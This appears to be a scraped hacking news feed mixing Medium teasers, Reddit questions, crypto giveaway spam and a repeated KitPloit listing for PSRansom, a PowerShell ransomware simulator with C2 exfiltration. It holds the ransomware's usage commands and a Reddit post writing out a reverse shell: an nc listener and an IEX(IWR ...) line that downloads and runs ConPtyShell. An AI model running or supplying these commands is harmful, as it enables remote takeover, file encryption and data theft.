Hacking on Medium
Testing EDRs for Linux — Things I wish I knew before getting started

https://cdn-images-1.medium.com/max/950/0*xZ8MFEzIQJX9j6IM.png
Thoughts on how to simplify your tests while keeping it real and a realistic, easy to expand initial access case.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Pages banned by other pages is still able to take action on event(comment+post)

Vuln Type Privacy / AuthorizationContinue reading on Medium »
Read more...

KitPloit - PenTest Tools!
PSRansom - PowerShell Ransomware Simulator With C2 Server

https://blogger.googleusercontent.com/img/a/AVvXsEiFAhtUC9yvejiGluvRxk1idCkAzTTYJuzXc7xVJfOxCZNWY4WuuYtBoRZGHX-99Vso9SZLdDBDYu9A6ZwD374mD6EUE43vprR2hvle8W7TxYenLGJYWmvDAIPwFEqh1SPUb7KzJYZ_DBG3A1V1bKisx2eIfL3fcRmo9sX4JjMvg8X3em9qB5fhVJS_=w640-h400
PSRansom is a PowerShell Ransomware Simulator with C2 Server capabilities. This tool helps you simulate encryption process of a generic ransomware in any system on any system with PowerShell installed on it. Thanks to the integrated C2 server, you can exfiltrate files and receive client information via HTTP.

All communication between the two elements is encrypted or encoded so as to be undetected by traffic inspection mechanisms, although at no time is HTTPS used at any time.
Requirements

* PowerShell 4.0 or greater

Download

It is recommended to clone the complete repository or download the zip file. You can do this by running the following command:

git clone https://github.com/JoelGMSec/PSRansom


Usage

.\PSRansom -h

____ ____ ____
| _ \/ ___|| _ \ __ _ _ __ ___ ___ _ __ ___
| |_) \___ \| |_) / _' | '_ \/ __|/ _ \| '_ ' _ \
| __/ ___) | _ < (_| | | | \__ \ (_) | | | | | |
|_| |____/|_| \_\__,_|_| |_|___/\___/|_| |_| |_|

----------------- by @JoelGMSec ----------------

Info: This tool helps you simulate encryption process of a
generic ransomware in PowerShell with C2 capabilities

Usage: .\RansomShell.ps1 -e Directory -s C2Server -p C2Port
Encrypt all files & sends recovery key to C2Server
Use -x to exfiltrate and decrypt files on C2Server

.\RansomShell.ps1 -d Directory -k RecoveryKey
Decrypt all files with recovery key string

Warning: All info will be sent to the C2Server without any encryption
You need previously generated recovery key to retrieve files



The detailed guide of use can be found at the following link:

https://darkbyte.net/psransom-simulando-un-ransomware-generico-con-powershell

License

This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.

Credits and Acknowledgments

This tool has been created and designed from scratch by Joel Gámez Molina // @JoelGMSec

Contact

This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.

For more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.
Download PSRansom

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Youtube

Is there a script to ban certain youtube channels / keywords from showing in youtube algorithm video suggestions?

submitted by /u/username9515
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
I finished my first blog post and would like your opinion about it. Feel free to say what I got wrong since I'm no expert in this field.

https://external-preview.redd.it/J9tNlC4LV7hwB1YX9md6ENCoMp5h3DJ3m1icXKC50_4.jpg?width=640&crop=smart&auto=webp&s=ed55b9b22a9a97ad5f678cba5ee8b736a1223c1e submitted by /u/DeadlyC14
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Kali Linux on a macbook pro with parallels

When I’m switching from an external monitor to the screen of the laptop. The resolution of kali linux doesnt scale right. Does someone have tips?

submitted by /u/overigegebruiker12
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Hydra hacking

I’m testing hydra cuz I know how to use it but never really try use it, and I tried hacking my Linux account(like root) and wtf am I supposed to put in the ftp thing part

Cuz it isn’t http/https/ftp “Hydra -l “root” -P ‘’.txt \ ‘’ 127.0.0.1 “ (Not acc ip) But where do I put in the part before the 127.0.0.1(not real ip) part

submitted by /u/retro_Ztro
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

PSRansom - PowerShell Ransomware Simulator With C2 Server

PSRansom is a PowerShell Ransomware Simulator with C2 Server capabilities. This tool helps you simulate encryption process of a generic ransomware in any system on any system with PowerShell installed on it. Thanks to the integrated C2 server, you can exfiltrate files and receive client information via HTTP. All communication between the two elements is encrypted or encoded so as to be undetected by traffic inspection mechanisms, although at no time is HTTPS used at any time. Requirements PowerShell 4.0 or greater Download It is recommended to clone the complete repository or download the zip file. You can do this by running the following command: git clone https://github.com/JoelGMSec/PSRansom Usage .\PSRansom -h | \/ || \ | |) _ \| |) / ' | ' \/ |/ \| ' ' \ | / ) | \ < (_| | | | \_ \ () | | | | | | |\| |_/|_| \_\_,_|_| |_|_/\_/|_| |_| |_| ----------------- by @JoelGMSec ---------------- Info: This tool helps you simulate encryption process of a generic ransomware in PowerShell with C2 capabilities Usage: .\RansomShell.ps1 -e Directory -s C2Server -p C2Port Encrypt all files & sends recovery key to C2Server Use -x to exfiltrate and decrypt files on C2Server .\RansomShell.ps1 -d Directory -k RecoveryKey Decrypt all files with recovery key string Warning: All info will be sent to the C2Server without any encryption You need previously generated recovery key to retrieve files The detailed guide of use can be found at the following link: https://darkbyte.net/psransom-simulando-un-ransomware-generico-con-powershell License This project is licensed under the GNU 3.0 license - see the LICENSE file for more details. Credits and Acknowledgments This tool has been created and designed from scratch by Joel Gámez Molina // @JoelGMSec Contact This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it. For more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net. Download PSRansom
Read more...

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Website Gov Audit Misconfiguration

https://cdn-images-1.medium.com/max/1038/1*DDP8rgv2zzRQXnsyfjcrzA.jpeg
hello all pentesters and IT admin today am gonna show you How I break into Government web site.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Recently, a sample of ransomware targeting Russia was discovered. Interestingly, the ransomware does not require ransom money unlike ordinary ransomware, but instead sends a message to stop the war.

https://external-preview.redd.it/AlO0lYoj3VBFb_1lMrznnYAnsZKA9YYi-eGI-7JTuy4.jpg?width=640&crop=smart&auto=webp&s=79ef2f011be5385d9e588dae36cdd134c622e02c submitted by /u/Late_Ice_9288
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

BlueBit Testnet Launch and Rewards Giveaway!

50,000 $BBT + 200 $Aurora Giveaway!Continue reading on Medium »
Read more...

BlueBit Testnet Launch and Rewards Giveaway!
https://bluebitfinance.medium.com/bluebit-testnet-launch-and-rewards-giveaway-e17a53b4ec77?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

50,000 $BBT + 200 $Aurora Giveaway!Continue reading on Medium » (https://bluebitfinance.medium.com/bluebit-testnet-launch-and-rewards-giveaway-e17a53b4ec77?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Broken screen android, no USB debugging enabled, how do I access it?

This seemed like the best place to ask. I have a Samsung J5 with a broken screen, unresponsive. I'm trying to request a new Whatsapp backup because my current one is very old. But I can't access it because of this mf broken screen. Also USB debugging isn't enabled because I'm a moron.

Is there a way to this? I've tried remote access to no suceess and ADB but it doesn't list my device, also almost every remote access tutorial's first step is enabling this god dammed USB debugging option.

submitted by /u/Downhouser
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

https://b.thumbs.redditmedia.com/9i6ZEzRNhufXY-0NrJ-6kxkQqv_MmmnAn68L0QNIBJM.jpg I am trying to use a raspberry pi 0 to get a reverse shell into a windows machine, on the raspberry pi I am using stty raw -echo; (stty size; cat) | nc -lvnp 4444 -s (ip of raspberrypi), and on the windows machine IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell (ipaddress of raspberrypi) 4444. After running this I then get this error:

https://preview.redd.it/7ixax627coo81.png?width=2218&format=png&auto=webp&s=4156ec53c1414678e7d55f86cc122a017a9cdd2f

submitted by /u/RepliedDawn
[link] [comments]

hacking: security in practice
Breaking the Russian Firewall

I have a good friend who is stranded in Russia. Does anyone have any quick and dirty methods for breaking the Russian firewall o subvert that clown Putin? Best case I can email her some software. Thanks!!!

submitted by /u/Goofy-F00T
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

BlueBit Testnet Launch and Rewards Giveaway!

50,000 $BBT + 200 $Aurora Giveaway!Continue reading on Medium »
Read more...